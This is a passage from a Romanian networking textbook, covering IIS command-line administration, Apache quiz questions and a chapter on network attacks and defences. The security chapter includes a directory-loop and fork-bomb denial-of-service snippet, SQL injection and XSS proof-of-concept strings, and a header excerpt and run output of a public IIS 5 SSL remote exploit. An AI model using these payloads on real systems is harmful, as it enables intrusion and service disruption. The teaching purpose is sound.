o n cmpul Name se introduce un nume pentru a identifica aceast asociere.
9. Se apas OK, iar n fereastra urmtoare Yes.

n acest moment, IIS este capabil de a interpreta pagini PHP. Pentru a test acest lucru, se
poate crea un fiier .php ntr-un director al site-ului configurat mai sus, avnd coninutul
<?php phpinfo(); ?> i accesndu-l.
De asemenea, se va observa faptul c se primete o eroare (sau se listeaz coninutul
directorului, n funcie de opiunea de la Directory Browsing) n cazul n care se ncearc
accesarea unei locaii ce contine un fiier index.php deoarece IIS nu a fost setat s
recunoasc fiierele index cu extensia .php. Pentru aceasta, n seciunea Default Document,
tot n cadrul site-ului selectat mai sus, se adaug i intrarea pentru index.php.
9.5 IIS 7 Configurri n linie de comand
IIS 7 include un nou utilitar, appcmd.exe, un executabil ce poate fi folosit pentru
administrarea oricror funcii ale IIS. Prin appcmd.exe se pot crea i configura site-uri,
application pool-uri, directoare virtuale, se poate controla modul n care acestea ruleaz, se
poate examina funcionarea serviciului web i, de asemenea, se pot edita configuraiile IIS.
appcmd.exe implementeaz o sintax unitar i logic. Operaiile i aciunile se aplic pe o
zon specific IIS sau asupra unui obiect. Spre exemplu se pot lista site-urile (comanda fiind
listarea iar obiectul fiind site-urile), se pot aduga aplicaii, se pot nchide procese sau se pot
seta diferite configuraii.

352 | R e e l e L o c a l e

Atenie, appcmd.exe este situat la %systemroot%\system32\inetsrv\ iar aceast cale
nu este inclus implicit n variabila de mediu %path%, deci apelarea lui trebuie fcut fie
introducnd ntreaga cale naintea executabilului, fie prin adugarea cii sale la coninutul
variabilei de mediu %path%. Pentru a modifica variabila de mediu %path% se poate folosi
urmtoarea comand n cmd.exe:
set path=%path%;%windir%\system32\inetsrv
Sintaxa comenzilor appcmd.exe este de tipul:
appcmd (comand) (obiect) (identificator)
Listarea site-urilor din linie de comand se poate face prin comanda:
appcmd list sites
Comanda de mai sus permite specificarea numelui unui anumit site, precum i filtrarea
site-urilor active sau inactive prin adugarea parametrului /state:started sau
/state:stopped.
Se poate face adugarea unui ntreg nou site din linia de comand. Spre exemplu,
urmtoarea comand adaug un site denumit Biblioteca ce funcioneaz pe portul 8080, al
crui rdcin este situat la C:\inetpub\wwwroot\biblioteca\:
PS C:\> appcmd add site /name:Biblioteca /id:2 /bindings:"http/*:8080:" /physicalPath:
"C:\inetpub\wwwroot\biblioteca"
SITE object "Biblioteca" added
APP object "Biblioteca/" added
VDIR object "Biblioteca/" added
tergerea unui site definit n prealabil se face prin comanda delete, folosindu-se numele
su drept identificator:
appcmd delete site Biblioteca
IIS permite vizualizarea strii serverului, aceasta incluznd procesele active, precum i
cererile pe care acestea le proceseaz. Starea application pool-urilor care sunt pornite sau
oprite poate fi obinut prin urmtoarele comenzi:
appcmd list apppools
appcmd list apppools /state:started
appcmd list apppools /state:stopped
Pentru a vizualiza lista proceselor curente, starea unui anumit proces sau lista proceselor
asociate unui application pool, se pot folosi comenzile urmtoare:
appcmd list wps
appcmd list wp 2244
appcmd list wps /apppool.name:DefaultAppPool
Pot fi afiate n timp real cererile n curs de execuie din server. Cererile pot fi filtrate n
funcie de proces, application pool sau numele site-ului:
appcmd list requests
appcmd list requests /wp.name:2244
appcmd list requests /apppool.name:DefaultAppPool
appcmd list requests /site.name:Biblioteca
Modificarea parametrilor unui site existent se face asemntor comenzilor de vizualizare,
ca n comanda urmtoare, prin aciunea set, care modific indexul site-ului Biblioteca la
99:
appcmd set site Biblioteca /id:99
n general, pentru modificarea configuraiei, se specific seciunea sau URL-ul, urmat de
parametrul de modificat mpreun cu noua sa valoare. Prin urmtoarele dou comenzi se
seteaz parametrul Enabled pentru seciunea defaultDocument la valoarea true pentru
ntregul server sau pentru un anumit URL din cadrul unui site:
353 | Wo r l d W i d e W e b

appcmd set config /section:defaultDocument /enabled:true
appcmd set config Biblioteca/www/files/ /section:defaultDocument /enabled:true
Salvarea configuraiei serverului poate fi realizat printr-o simpl comand de o linie:
appcmd add backup nume_backup
Dac un backup cu acelai nume exist deja, se va returna o eroare. Daca se dorete
refolosirea acelui nume pentru un nou backup, trebuie eliminat cel vechi nainte de a fi creat
cel nou:
appcmd delete backup nume_backup
Posibilitatea de a restaura un backup precedent este la fel de important ca i crearea
unuia. Pentru afiarea unei liste a backup-urilor existente i restaurarea unuia dintre ele se
folosesc comenzile:
appcmd list backup
appcmd restore backup nume_backup
n general, n linia de comand, cnd se specific un URL asupra cruia se vor efectua
modificri, exist opiunea de a-l descrie prin calea sa complet, spre exemplu:
http://localhost/Biblioteca/www poate reprezenta faptul c se efectueaz modificri
asupra directorului www al directorului virtual Biblioteca. De asemenea, se poate specifica o
cale relativ la numele unui anumit site, ca Biblioteca/main/www, ceea ce se refer la
directorul main/www/ din cadrul unui site denumit Biblioteca.
354 | R e e l e L o c a l e

ntrebri
1. Sistemul WWW se bazeaz pe un model client/server, modul de comunicare ntre
client i server fiind definit de protocolul HTTP. Cum arat cererea generat de
browser-ul dvs. atunci cnd ncercai s accesai www.test.com/file.html?
GET www.test.com/file.html HTTP
GIVE www.test.com/file.html HTTP/1.0
GET www.test.com/file.html HTTP/1.0
GET /file.html HTTP/1.0

2. Ce avantaje ofer gzduirea virtual bazat pe nume? (dou variante)
Mai multe site-uri web pot fi gestionate de acelai server
Este necesar doar o singur adres IP
Toate browser-ele web suport acest tip de gzduire virtual
Este necesar doar o singur plac de reea, cu mai multe adrese IP asociate

3. Ce comand nu poate fi folosit pentru oprirea serverului Apache?
/etc/init.d/apache stop
a2dissite
apache2ctl stop
apache2 k stop

4. Care este utilizatorul folosit de Apache pentru accesarea unei resurse din sistemul
local de fiiere?
root
www-user
www-data
nobody

5. Care modul este folosit pentru a asigura folosirea protocolului HTTPS?
mod_cgi
mod_userdir
mod_ssl
mod_dir

6. Care sunt porturile utilizate implicit de protocoalele HTTP, respectiv HTTS? (alegei
dou rspunsuri)
80
143
443
8080

7. Este posibil ca un server Apache cu suport TSL/SSL s asculte conexiuni HTTPS pe
portul 80 i conexiuni HTTP pe portul 443?
da
nu
da, dar numai prin folosirea modulului mod_cgi
da, dar numai prin folosirea modulului mod_auth
10 Securitatea reelei
Being able to break security doesn't make you a hacker anymore than being able to hotwire
cars makes you an automotive engineer."
Eric Raymond
Ce se nva din acest capitol?
Principii de baz ale securitii
Tipuri de atacuri de reea
Exploatarea vulnerabilitilor reelei
Cine este...
Kevin Mitnick este unul dinte cei mai cunoscui hackeri din anii 90 - 2000. El a reuit sa
sparg reeaua DEC pentru a vedea codul surs de la VMS i a intrat n sisteme Motorola,
NEC, Nokia, Sun i Fujitsu Siemens. Kevin Mitnick a devenit cunoscut prin faptul c a fost
primul hacker al crui proces a fost mediatizat pe scar larg. El a recunoscut c a ptruns
n diverse reele folosindu-se n principal de "social engineering" i a fost condamnat la 5
ani de nchisoare. Dup eliberare (n 2000) i-a creat propria firm de consultan n
domeniul securitii. A scris dou cri: The Art of Deception i The Art of Intrusion.
Gordon Lyon (cunoscut i sub pseudonimul de Fyodor Vaskovich) este un expert n
securitate i, aa cum i spune, "tipul bun de hacker". El este autorul cunoscutului program
de scanare nmap. Lyon a avut un rol activ n comunitatea de securitate a reelelor nc din
anii 90. Pseudonimul lui, Fyodor, a fost luat de la celebrul autor rus Fyodor Dostoyevsky.

De-a lungul ultimilor ani, multe teme tehnice specifice domeniului securitii au prsit
domeniul IT, fiind preluate de ziare, jurnale TV, sau chiar de industria cinematografic. Din
pcate, procesul nu a urmrit, cel mai adesea, aducerea n sfera public a conceptelor de
securitate, ci specularea senzaionalului prin ignorarea constrngerilor lumii reale, ducnd la
promovarea unor noi mituri ale erei IT.
n ziua de astzi, deja se consider normale performanele hackerilor din filmele
americane, care reuesc s compromit securitatea unui sistem n cteva secunde. Exist
oameni care cred c este posibil s scrii virui pentru sisteme de operare extraterestre (vezi
Ziua Independenei, 1997).
Pentru cei ce au deschis acest capitol n sperana obinerii unei puteri nemrginite n
controlul tuturor sistemelor electronice urmeaz o dezamgire: paginile ce urmeaz nu
reuesc dect s aduc un pic de ordine n domeniul populat de mituri al securitii IT.
10.1 Riscuri de securitate
10.1.1 Principii de baz
O prim clasificare a riscurilor de securitate distinge trei tipuri de atacuri: atacuri venite
din Internet (cu o rat de succes redus), atacuri iniiate din reeaua local i atacuri generate
de pe aceeai main - acestea din urm avnd un impact mult mai nsemnat dect primele.
Dei cu gradul de risc cel mai ridicat, atacurile iniiate de utilizatorii serverului int sunt
deseori tratate n grab i unitar. n continuare vor fi discutate vulnerabilitile importante ce
pot nlesni un astfel de atac. fiecare dintre acestea putnd duce la compromiterea securitii
sistemului.

356 | R e e l e L o c a l e

Principiul fundamental al securitii, fie ea IT sau de orice alt natur, este:
Securitatea unui sistem este egal cu securitatea celei mai slabe verigi.
Altfel spus, degeaba i pui u ultra-performant dac nu o nchizi cu cheia, sau, aplicat n
domeniul IT: nu are rost s cheltui sume enorme de bani pe sisteme de securitate, dac
utilizatorii folosesc drept parole propriul nume sau i in parola lipit pe monitor.
Privit din perspectiva unui sistem IT, o soluie de securitate trebuie s includ att o
politic de securitate, ce definete drepturile i responsabilitile utilizatorilor, ct i
specificaii pentru asigurarea securitii fizice, a componentelor sistemului de operare, a
aplicaiilor locale, precum i a serviciilor de reea.
O politic de securitate trebuie s stabileasc un compromis ntre gradul de flexibilitate al
serviciilor IT i nivelul de securitate dorit. Luate ad literam, cerinele de securitate ar
presupune izolarea total a sistemului de lumea exterioar, dar, cum o astfel de abordare
duce la limitarea funcionalitii, cel mai adesea securitatea unui sistem este definit ca un set
de metode de protecie menite s descurajeze i s ntrzie atacatorul.
10.1.2 Tipuri de atacuri de reea
Cea mai ntlnit clasificare a atacurilor electronice urmrete stiva de protocoale OSI,
ncercnd s grupeze atacurile n funcie de tipul de vulnerabilitate exploatat.
10.1.2.1 Atacurile de nivel fizic
Atacurile de nivel 1 (fizic) reprezint un numr foarte mic din totalul atacurilor pentru c
presupun acces la mediul de transmisie. n aceast categorie sunt incluse atacurile ce
presupun interceptarea traficului din reea. Metodele de protecie difer n funcie de mediul
de transmisie folosit.
n reelele fr fir, mediul fiind att partajat ct i foarte accesibil, protecia se bazeaz
mai ales pe criptarea traficului. Securizarea unei astfel de reele pornete de la reglarea puterii
de emisie a echipamentelor fr fir (echipamentele mai ieftine de obicei nu permit astfel de
configurri), n scopul limitrii accesului la mediu din afara ariei de lucru. n alegerea criptrii
trebuie inut cont c att WEP, ct i WPA sunt protocoale relativ uor de compromis. n
msura n care componentele reelei fr fir o permit, se recomand folosirea WPA2, protocol
bazat pe AES.
Pentru reelele de cupru, atacatorul va avea nevoie de acces la miezul de cupru al
mediului de transmisie. La cablurile UTP, atacul se rezuma la a ndeprta cmaa de plastic,
urmnd ca prin intermediul unor cleti s se intercepteze semnalele electrice transmise pe
firele de cupru.
Fibra optic, dei este mai greu de atacat, poate cdea victim unor tehnici neintruzive
(care nu se bazeaz pe ntreruperea mediului de transmisie). Un aparat ce intercepteaz
semnalul luminos dintr-o fibr ndoit poate fi cumprat de pe eBay la mai puin de 500 USD.
Trebuie remarcat c un astfel de atac necesit acces la mediul fizic. n plus, prin ndoirea fibrei
semnalul luminos se atenueaz, atenuare ce poate fi detectat de receptor i folosit n
declanarea unei alarme.
10.1.2.2 Atacuri de nivel legtur de date
Atacurile de nivel 2 (legtur de date) presupun acces n reeaua local. Lista acestor
atacuri include: atac MAC, atac STP, schimbarea VLAN (VLAN hopping), dar i ARP poisoning,
atac greu detectabil i uor de folosit n reelele locale actuale.
357 | S e c u r i t a t e a r e e l e i

Atacul ARP poisoning presupune redirecionarea traficului dintre orice staie din reeaua
local i routerul de ieire din LAN (gateway) prin staia atacatorului. Acest lucru este realizat
prin trimiterea de pachete ARP (att cereri ARP, ct i rspunsuri) cu informaii alterate.
Pentru exemplificare, fie cazul din figura de mai jos, n care staia C dorete s
intercepteze traficul dintre staiile A i B. Pentru aceasta, staia C va trimite dou pachete ARP
de tip rspuns false: o dat pentru staia B, n care se specific faptul c adresa de nivel 2 a
staiei A este AA:BB:CC:00:00:13, i o dat pentru staia A, n care se specific faptul c
adresa de nivel 2 a staiei B este tot AA:BB:CC:00:00:13.
Astfel, atunci cnd staia A dorete s trimit un pachet staiei B, l va trimite staiei C. La
fel, atunci cnd staia B dorete s trimit un pachet staiei A, l va trimite tot staiei C. Pentru
ca procesul s funcioneze, staia C va trebui s trimit pachetele primite staiilor care sunt
adresate. n plus, staia C trebuie s retrimit pachetele ARP false la intervale regulate.
Aceasta pentru c intrrile din tabela ARP sunt evacuate dup un timp, caz n care staia va
trimite un pachet ARP de interogare. Dac staia interogat rspunde, intrarea din tabela ARP
va fi actualizat i astfel traficul nu va mai ajunge la staia C.


10-1: Atac ARP poisoning
Acest tip de atac, n care dou staii comunic printr-un intermediar, poart numele de
man in the middle attack. Exist multe atacuri de acest tip i din pcate singura soluie pentru
evitarea acestor atacuri este autentificarea.
Simpla criptare a traficului nu evit ntotdeauna aceste tipuri de atacuri. Dac se folosete
o criptare cu o cheie partajat, atunci se obine un grad oarecare de securitate. n schimb,
dac se folosete o criptare fr o cheie partajat i fr autentificare, n care cheia de criptare
se deriv prin schimbul de informaii ntre cele dou staii, gradul de securitate este zero:
atacatorul va stabili dou canale de comunicaie, cu fiecare dintre cele dou staii, i, chiar
dac acele canale de comunicaie sunt criptate, atacatorul are toate informaiile necesare
pentru decriptare.
Pentru prevenirea unui atac ARP poisoning trebuie monitorizat tot traficul ARP n reeaua
local, att la nivelul dispozitivelor de interconectare folosind switchuri ce implementeaz
ARP Inspection (intercepteaz i valideaz toate cererile i rspunsurile ARP), ct i la nivelul
staiilor folosindu-se programe de tip ARPWatch pentru a detecta eventuale schimbri n
asocierile IP-MAC. n acelai timp, pentru destinaiile importante (de exemplu pentru
gateway), se recomand folosirea de asocieri statice n tabela ARP.
C
192.168.1.13
AA:BB:CC:00:00:13
B
192.168.1.12
AA:BB:CC:00:00:12
A
192.168.1.11
AA:BB:CC:00:00:11
nainte de atac:
192.168.1.12 AA:BB:CC:00:00:12

dup atac:
192.168.1.12 AA:BB:CC:00:00:13
nainte de atac
192.168.1.11 AA:BB:CC:00:00:11

dup atac
192.168.1.11 AA:BB:CC:00:00:13

358 | R e e l e L o c a l e

Apariia switchurilor n reelele locale au transformat mediul partajat al Ethernet-ului ntr-
un mediu dedicat. Astfel, un administrator de reea ce dorete monitorizarea traficului ctre o
anumit destinaie va trebui ca, nainte de a lansa programul de interceptare a traficului, s
fac un atac ARP poisoning pentru respectiva destinaie. Pentru aceasta poate folosi orice
generator de pachete, cele mai utilizate fiind: Cain, dsniff, IPSorcery.
10.1.2.3 Atacuri de nivel reea
Atacurile de nivel 3 (reea) sunt cel mai adesea iniiate din Internet, dei exist atacuri de
nivel 3 i n reelele locale, precum DHCP starvation i DHCP spoofing.
Din multitudinea atacurilor de nivel 3 cele mai ntlnite sunt atacurile bazate pe flooding,
sau cele bazate pe DoS (Denial of Service) sau mai nou DDoS (Distributed DoS).
Un flood reprezint un numr foarte mare de pachete venite ntr-un interval scurt de
timp. Un trafic ce poate fi interpretat drept flood la nivelul routerului de acces n reeaua
local poate fi tratat drept trafic normal n nucleul Internetului. Pentru tehnologiile actuale, un
flood este definit astfel: la nivelul unui switch de nivel 2 un numr de 100.000- 150.000 de
pachete pe secund, iar la nivelul unui router de acces (ce conecteaz o reea local) un flood
are 8.000-12.000 de pachete pe secund. n nucleul Internetului un trafic de sute de milioane
de pachete pe secund poate fi tratat drept trafic legitim, de aceea un flood se identific dup
tipul traficului i nu dup numrul de pachete.
Atacurile bazate pe flooding pot folosi conexiuni TCP, mai exact pachete de SYN (atacul
numindu-se SYN flooding), ct i pachete ICMP sau UDP. n cazul SYN flooding, atacatorul va
trimite un numr foarte mare de cereri de deschidere a unei noi conexiuni TCP (pachete ce au
cmpul de control SYN setat). Serverul int va rspunde cu pachete ce au cmpurile ACK i
SYN setate. Atacatorul nu va trimite niciodat pachetul de stabilire a conexiunii (o sesiune TCP
se bazeaz pe three-way handshake). Astfel, sesiunile vor rmne n starea half-open,
consumnd resurse n continuare pe server.
Mecanismele de protecie mpotriva atacurilor SYN flood se bazeaz pe stabilirea unui
timp maxim pentru stabilirea unei conexiuni (timp n care conexiunea poate fi n starea half-
open), a unui numr maxim de conexiuni half-open (valoare de la care conexiunile half-open
vor ncepe s fie terse). O alt abordare se numete SYN cookies. Aceast metod permite
severului s evite nlturarea conexiunilor, cnd coada n care sunt pstrate SYN-urile devine
plin, serverul comportndu-se normal, ca i cnd aceasta din urm ar fi fost mrit. Serverul
n acest caz, va trimite napoi clientului un rspuns de forma SYN+ACK, dar va terge din coad
intrarea corespunztoare pachetului ce coninea bitul SYN setat. Dac serverul va primi un
pachet de rspuns de la client cu bitul ACK setat, atunci conexiunea poate fi stabilit, intrarea
ce fusese tears putnd fi reconstruit pe baza numrului de secven din antetul TCP.
ICMP flooding se bazeaz pe trimiterea unui numr foarte mare de pachete ICMP,
consumnd ntreaga lime de band disponibil. Cel mai adesea atacul este prevenit prin
filtrarea ntreg traficului ICMP, cu costul pierderii funcionaliti utilitarelor ping i
traceroute.
Atacul UDP flooding este cu adevrat distructiv cnd folosete drept int porturile 7 i 19,
adic serviciile de echo i chargen. Aceste servicii, fiind rar folosite n reele locale, pot fi
oprite de firewall-ul de intrare n LAN, fr un impact real asupra funcionrii reelei.
Atacurile bazate pe flooding sunt n general combinate cu un atac de tip spoofing, prin
care se genereaz adrese surs fictive i diferite pentru pachetele din flood (altfel o filtrare pe
baza depirii unui numr limit de pachete per surs ar elimina atacul). Atacul spoofing
asigur n acelai timp ascunderea identitii atacatorului. n plus, dac destinaia atacului
bazat pe flooding nu este o surs int ci adresa de difuzare a unei reele, toate echipamentele
359 | S e c u r i t a t e a r e e l e i

din respectiva reea vor ncerca s rspund unei surse ce nu exist n realitate. Acest atac
este de tip DDoS i se numete atac smurf.

10-2: Atacul smurf
Aa cum a fost menionat i la nceputul capitolului, exist trei forme prin care un atac de
tip DoS poate fi iniiat: atacurile din exterior, venite din Internet, atacuri iniiate din reeaua
local i atacuri generate de pe aceeai main. Atacurile din exterior pot avea ca int:
nchiderea anumitor servicii, dezactivarea conturilor utilizatorilor, utilizarea maliioas a
telnet sau finger. Ca metode de atac din interior putem enumera: umplerea harddisk-ului,
crearea de procese la infinit, crearea de fiiere greu de ters. n exemplul de mai jos se vor
crea la infinit n directorul .ddd subdirectoare cu acelai nume.
while : ; do
mkidir .ddd
cd .ddd
done
Un alt exemplu de atac intern l reprezint utilizarea funciei fork(), n scopul generrii
continue de procese.
#include <sys/types.h>
#include <unistd.h>
#include <iostream.h>
main()
{
int x;
for (x=0;x<1000000;x++)
{
system(sync);
fork();
}
}
Atacurile DDoS pornesc de la puterea enorm de calcul disponibil n reelele actuale
locale. Unele dintre aceste atacuri pot fi neintenionate, precum n cazul Slashdot effect.
Numele vine de la cunoscutul site Slashdot, care a postat un link ctre un site cu capabiliti
mai mici. Cnd foarte muli utilizatori au ncercat s acceseze respectivul site, efectul a fost
echivalent cu un atac SYN flood.
Atacurile DDoS se bazeaz n general pe infectarea unui numr ct mai mare de staii, i
coordonarea unui atac ctre aceeai int. Un astfel de atac a fost generat de virusul MyDoom.
173.1.1.1
ICMP REQ D=64.8.12.255 S= 173.1.1.1
ICMP REPLY D=173.1.1.1 S=64.8.12.5
ICMP REPLY D=173.1.1.1 S=64.8.12.6
ICMP REPLY D=173.1.1.1 S=64.8.12.7
ICMP REPLY D=173.1.1.1 S=64.8.12.8
ICMP REPLY D=173.1.1.1 S=64.8.12.9
ICMP REPLY D=173.1.1.1 S=64.8.12.10
360 | R e e l e L o c a l e

Tot n categoria DDoS intr i virui de tip IRCBots, programe care dup infectarea unei
staii vor iniia o conexiune ctre un server de IRC pe un canal privat, atacatorul putnd s
controleze toate staiile infectate. Un IRCBot va deschide i portul 6667 (portul implicit pentru
IRC) pe maina infectat.
10.1.2.4 Atacuri de nivel aplicaie
Atacurile de nivel 7 (aplicaie) exploateaz n general vulnerabiliti ale aplicaiilor web.
Subiectul este amplu. Cei ce vor s urmreasc metodele de exploatare a vulnerabilitilor de
nivel aplicaie pot s nceap cu cartea lui Joel Scambray: Hacking Exposed Web Applications,
Second Edition.
Atacurile de nivel 7 pot avea drept int i tehnologiile din spatele aplicaiilor web, un
numr important de atacuri fiind direcionate mpotriva bazelor de date. Cel mai cunoscut
atac de aceast fel este Inserarea de cod SQL (SQL Injection). Acest atac se bazeaz pe modul
direct de interogare a bazei de date. Astfel, dac interogarea realizat este:
SELECT X from TABLE where
user = $user_input AND
pass = $pass_input
atunci, la introducerea n cmpul utilizator a unui nume valid de utilizator urmat de OR -
- , dat fiind c n SQL introducerea simbolurilor -- definete un comentariu, operaia de
selecie devine:
SELECT X from TABLE where
user = $xxx OR -- AND
pass = nu_conteaza
i va fi validat pentru orice nume de utilizator aflat n baza de date. Mergnd mai
departe, se poate introduce n cmpul utilizator: xxx OR 1=1 OR -- , aceasta garantnd
accesul indiferent dac utilizatorul xxx exist sau nu n baza de date.
Pentru a preveni un astfel de atac, interogarea bazei de date trebuie fcut prin funcii de
bibliotec i nu direct prin SELECT.
Este necesar s se atrag din nou atenia n special asupra riscului de securitate adus de
utilizatorii neglijeni din reea. Chiar i n cazul unor utilizatori responsabili nu trebuie ignorate
riscurile unui atac bazat pe inginerie social - adic pe manipularea indivizilor pentru obinerea
accesului la informaii confideniale sau alte resurse. Nu este o ntmplare c cel mai cunoscut
hacker al tuturor timpurilor este Kevin Mitnick, un om cu cunotine tehnice limitate, dar cu o
bun nelegere a psihologiei utilizatorilor i a administratorilor din reelele actuale.
10.1.2.5 Atacuri web
O clas tot mai relevant actualmente a atacurilor de nivel aplicaie o reprezint atacurile
web. Datorita maturizrii Internetului i volumelor ridicate de tranzacii online, majoritatea
atacurilor din ultima perioad se concentreaz asupra serviciilor oferite pe net. Pe de o parte,
porturile asociate acestora trebuie s fie tot timpul deschise, iar pe de alta, protocoalele
folosite nu au fost iniial concepute pentru magazine virtuale sau pli electronice, cu att mai
puin fiind luate n calcul considerentele de securitate.
Astfel, de-a lungul timpului au fost aduse multe mbuntiri pentru a permite aplicaiilor
web s serveasc obiectivele actuale, precum criptarea comunicaiilor peste un canal SSL
(HTTPS), meninerea unei sesiuni ntre client i server folosind cookie-uri, animarea
coninutului paginilor web cu XHTML, CSS, JavaScript sau Flash, comunicaia asincron
folosind AJAX - conducnd utilizatorul ctre o experien Web 2.0, puin peticit din punct de
vedere al securitii.
361 | S e c u r i t a t e a r e e l e i

Atacurile pe Web se mpart n dou categorii: atacuri asupra platformei: sistem de
operare, servicii, comunicaii, i atacuri asupra aplicaiei, care vizeaz compromiterea
sistemului sau a utilizatorului.
Atacurile asupra platformei se bazeaz pe exploatarea unor vulnerabiliti n sistemul de
operare, n serviciile expuse, sau n protocoalele utilizate. Acestea urmresc obinerea
accesului la date neautorizate sau incapacitarea serviciului. Aceste atacuri verific porturile
deschise n firewall, versiunile serviciilor active i apoi caut vulnerabiliti cunoscute pe care
s le utilizeze pentru a obine acces la sisteme. Atacurile se pot baza, de exemplu, pe bug-uri
n versiunile de SSH, n serverele de FTP, DNS sau SMTP i cel mai adesea chiar n serverele
Web (Apache sau IIS).
Va fi prezentat n continuare un exemplu cunoscut de bre de securitate prezent n IIS:
Microsoft Windows IIS 5.0 Remote Buffer Overflow, publicat n buletinul de securitate MS04-
011. Codul exploit-ului poate fi obinut de la http://www.milw0rm.com/exploits/275 i
compilat cu cl (Visual C). Atacul se bazeaz pe exploatarea unui buffer overflow n serverul de
web i genereaz un shell care ascult pe un port specificat la rulare.
Extras din codul exploit-ului:
/*****************************************************************************/
/* THCIISSLame 0.3 - IIS 5 SSL remote root exploit */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
/* THC PUBLIC SOURCE MATERIALS */
/* */
/* Bug was found by Internet Security Systems */
/* Reversing credits of the bug go to Halvar Flake */
/* */
/* compile with MS Visual C++ : cl THCIISSLame.c */
/* */
/* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports */
/* v0.2 - This little update uses a connectback shell ! */
/* v0.1 - First release with portbinding shell on 31337 */
/* */
/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
/* scut, stealth, FtR and Random */
/*****************************************************************************/
Rularea exploit-ului:
C:\>iisexploit www.site.com myserver 8082
THCIISSLame v0.3 - IIS 5.0 SSL remote root exploit
tested on Windows 2000 Server german/english SP4

by Johnny Cyberpunk (jcyberpunk@thc.org)

[*] building buffer
[*] connecting the target
[*] exploit send
[*] waiting for shell
[*] Exploit successful ! Have fun !
Asemenea atacuri exist i pentru Apache. De exemplu, existena unui bug n biblioteca
openssl permite deschiderea unui shell prin atacarea unui server web care folosete SSL
1
.
Atacurile asupra aplicaiei Web se bazeaz pe vulnerabiliti n modul de programare, pe
bug-urile i breele de securitate inerente limbajului de programare, sau pe greelile
programatorilor. Atacurile asupra aplicaiilor Web acoper dou inte: compromiterea
sistemului, prin obinerea accesului neautorizat pe unul dintre serverele de aplicaie sau baze
de date, sau compromiterea clientului, prin obinerea informaiilor confideniale ale acestuia,
furtul sesiunii, sau execuia de cod pe maina acestuia.
Majoritatea atacurilor asupra aplicaiilor web sunt datorate validrii insuficiente a datelor
de intrare ale aplicaiei: acestea pot fi date introduse de utilizatori, cmpuri ascunse ale
formularelor, parametri ai paginilor dinamice, variabile aflate n cookie-uri, antete HTTP, etc.
Datorita fapturilor c aplicaiile web sunt eterogene prin definiie, atacarea acestora nu se

1
Codul exploit-ului poate fi gsit aici: http://www.securiteam.com/exploits/5HP0P1F8AM.html.
362 | R e e l e L o c a l e

bazeaz att de mult pe vulnerabiliti cunoscute, ct pe o metodologie particular, specific
fiecreia. Bazele de date CVE (Common Vulnerabilities and Exposures) conin informaii despre
aplicaii particulare des ntlnite pe web (Wordpress, PHPBB). n continuare vor fi analizate
vulnerabilitile generale ale aplicaiilor web, i vor fi detaliate cele de mare notorietate.
Vulnerabilitile n procesul de autentificare implic unul dintre urmtoarele scenarii:
obinerea neautorizat a informaiilor de autentificare, spoof-area identitii utilizatorului,
interceptarea informaiilor de logare, spargerea algoritmilor de criptare sau retransmiterea
datelor, furtul sesiunii sau ataarea la o sesiune valid. Procesul de autorizare implic aciunile
pe care le poate ntreprinde un utilizator autentificat, iar atacurile includ escaladarea
orizontal a privilegiilor, cum ar fi accesarea datelor din profilul altui utilizator al unui magazin
online, sau escaladarea vertical a privilegiilor, precum accesarea unor pagini specifice
administratorilor magazinului.
Cross-Site Scripting (XSS) este cel mai frecvent atac direcionat ctre compromiterea
clienilor ntlnit pe web-ul anilor 2008. Acest tip de atac vizeaz parametrii incomplet
verificai de ctre aplicaie mpotriva unor marcaje specifice HTML / Javascript (,<,/>,etc.) i
care sunt utilizai de ctre aplicaie n generarea rspunsurilor. Astfel, alterarea acestor
parametri poate injecta orice cod executabil pe client n paginile vulnerabile ale aplicaiei.
Acest cod poate s impersoneze utilizatorul n fata aplicaiei, s fure datele de autentificare,
sau s foloseasc mai departe o vulnerabilitate a browser-ului clientului pentru a descrca i
executa cod binar pe maina acestuia.
Exist dou posibiliti de a exploata aceast vulnerabilitate:
Reflected Cross-Site Scripting: Pagina vulnerabil utilizeaz o parte din datele de intrare
(parametrii GET, POST, antete HTTP, etc) n generarea rspunsului. Astfel, prin apelarea unei
asemenea pagini cu un parametru ce conine cod HTML/Javascript, acesta va fi reflectat
injectat n rspunsul generat de ctre server.
Stored Cross-Site Scripting: Atacatorul identific un parametru al unei pagini care este
procesat i stocat (ntr-o surs de date) astfel nct n momentul n care datele salvate sunt
ncrcate de ctre o alt pagin (i posibil un alt utilizator) acestea s fie introduse ca i cod
executabil pe sistemul clientului.
O pagin web (arat_info.php) cu urmtorul cod surs:
<?php
...... (cod omis pentru brevitate)
if (search($_GET[id])==0) // functia search nu gaseste id-ul
// afiseaza mesaj de eroare
echo ID-ul .$_GET[id]. nu este valid;
else
......
?>
este vulnerabil la un atac XSS care conine urmtorul payload PoC (proof-of-concept):
http://server.vulnerabil.com/arata_info.php?id=<script>alert(XSS);</script>
unde codul script-ului JavaScript nu va face dect s afieze un mesaj de alert.
Server Injections reprezint o categorie de atacuri de maxim impact care au ca int
compromiterea serverelor dintr-un sistem online. Atacurile se bazeaz pe validarea
insuficient a datelor de intrare, permind astfel injectare de cod SQL, LDAP, XPATH n
componentele de backend, sau rularea codului maliios direct pe serverul web.
Execuia de cod maliios direct pe serverul web este posibil n cazul apelurilor
nesecurizate la comenzi de sistem, folosind de exemplu funcia eval() din PHP cu date
nevalidate care pot fi injectate de ctre un atacator, sau folosind iruri speciale executabile
ncadrate ntre ghilimele inverse: echo `date`.
Cel mai cunoscut astfel de atac este inserarea de cod SQL (SQL Injection), atac prezentat
anterior la categoria atacurilor de la nivelul aplicaie.
363 | S e c u r i t a t e a r e e l e i

Insecure Object Reference, sau atacul de tip Directory Traversal este specific aplicaiilor
web, i se bazeaz pe referenierea unei resurse (un fiier, de exemplu) pe baza unor
informaii care pot fi manipulate de un atacator. Acesta ar putea s citeasc diverse fiiere de
pe serverul web (etc/shadow) sau ar putea injecta cod extern (de pe un alt server) n paginile
aplicaiei.
Information Leakage / Error Handling este o alt vulnerabilitate des ntlnit n cazul
aplicaiilor web. Aceasta se datoreaz unor erori de configurare a serverului web, sau
greelilor de programare care pot divulga prea multe informaii despre infrastructura intern,
omiterii dezactivrii opiunilor de debugging pe mediul n producie, etc. Un exemplu de
aplicaie auditat n realitate coninea ntr-una dintre paginile ASP urmtorul comentariu
HTML:
<!-- #include virtual ="/include/connections.inc" -->
Accesnd pur i simplu un URL de forma http://server.vulnerabil.com/include/
connections.inc poate ntoarce un rspuns de forma:
<%
